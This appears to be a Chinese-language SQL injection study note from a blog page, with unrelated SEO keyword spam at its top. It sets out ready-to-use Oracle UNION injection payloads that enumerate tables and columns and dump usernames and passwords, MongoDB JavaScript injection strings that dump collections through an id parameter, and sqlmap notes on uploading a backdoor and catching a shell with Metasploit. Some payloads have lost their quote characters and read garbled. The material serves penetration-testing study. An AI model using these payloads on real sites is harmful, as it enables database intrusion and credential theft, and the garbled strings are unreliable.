柳市网站制作,免费素材库短视频素材网站,上海高凡猎头公司,比较大的做网站的公司文章目录 OracleMongoDBsqlmap SQL注入课程体系#xff1b;
数据库注入#xff1a;access、mysql、mssql、oracle、mongodb、postgresql等数据类型注入#xff1a;数字型、字符型、搜索型、加密型#xff08;base63 json#xff09;等提交方式注入#xff1a;get、post、… 文章目录 OracleMongoDBsqlmap SQL注入课程体系
数据库注入access、mysql、mssql、oracle、mongodb、postgresql等数据类型注入数字型、字符型、搜索型、加密型base63 json等提交方式注入get、post、cookie、http头等查询方式注入查询、增加、删除、更新、堆叠等复杂注入利用二次注入、dnslog注入、绕过bypass等
Oracle
参考资料【实战】Oracle注入总结
# 判断字段数
order by 3# 测回显
and 12 union select 1,2 from dual //要加单引号# 查看数据库名(每次只能查一条数据)
and 12 union select 1,(select table_name from user_tables where rownum1) from dual
and 12 union select 1,(select table_name from user_tables where rownum1 and table_name not in (LOGMNR_SEESION_EVOLVE$)) from dual# 模糊爆库
and 12 union select 1,(select table_name from user_tables where rownum1 and table_name like %user%) from dual //%..%之间的内容为你想要的库名可能包含得关键词# 爆列名
and 12 union select 1,(select column_name from all_tab_columns where rownum1 and table_namesns_users) from dual# 爆其他列名
and 12 union select 1,(select column_name from all_tab_columns where rownum1 and table_namesns_users and column_name not in (USER_NAME)) from dual# 爆数据
and 12 union select user_name,user_pwd from sns_users# 爆其他数据
and 12 union select user_name,user_pwd from sns_users where USER_NAMEhuMongoDB
在python环境中一般用MongoDB。
# 测回显
/new_list.php?id1});return ({title:1,content:2# 爆库名
/new_list.php?id1});return ({title:tojson(db),content:2# 爆表名
/new_list.php?id1});return ({title:tojson(db.getCollectionNames()),content:2 //db.getCollectionNames()()返回得是数组需要用tojson转换为字符串# 爆字段内容
/new_list.php?id1});return ({title:tojson(db.Authority_confidentail.find()[0]),content:2 // db.Authority_confidentail是当前用的集合表find函数用于查询0是第一条数据。sqlmap
sqlmap超详细笔记
sqlmap 数据库注入数据猜解sqlmap 高权限注入读写执行sqlmap 高权限注入联动MSF其实就是用sqlmap上传一个后门MSF监听端口Sqlmap执行后门文件靶机上线。
sqlmap支持哪些数据库注入 不支持nosql sqlmap支持哪些sql注入模型 带外指的是类型dnslog这类得注入。 sqlmap支持其他不一样功能 sqlmap提供了很多脚本。 使用sqlmap一般注入流程分析
判断注入点判断数据库类型就是这个注入点是什么数据库的注入点根据数据库类型是否存在高权限注入点文件读写、命令执行不行就只能老老实实去猜数据 如果碰到一些网站登陆后的注入点电脑能访问手机不能访问。建议使用sqlmap -r参数使用数据包进行跑。
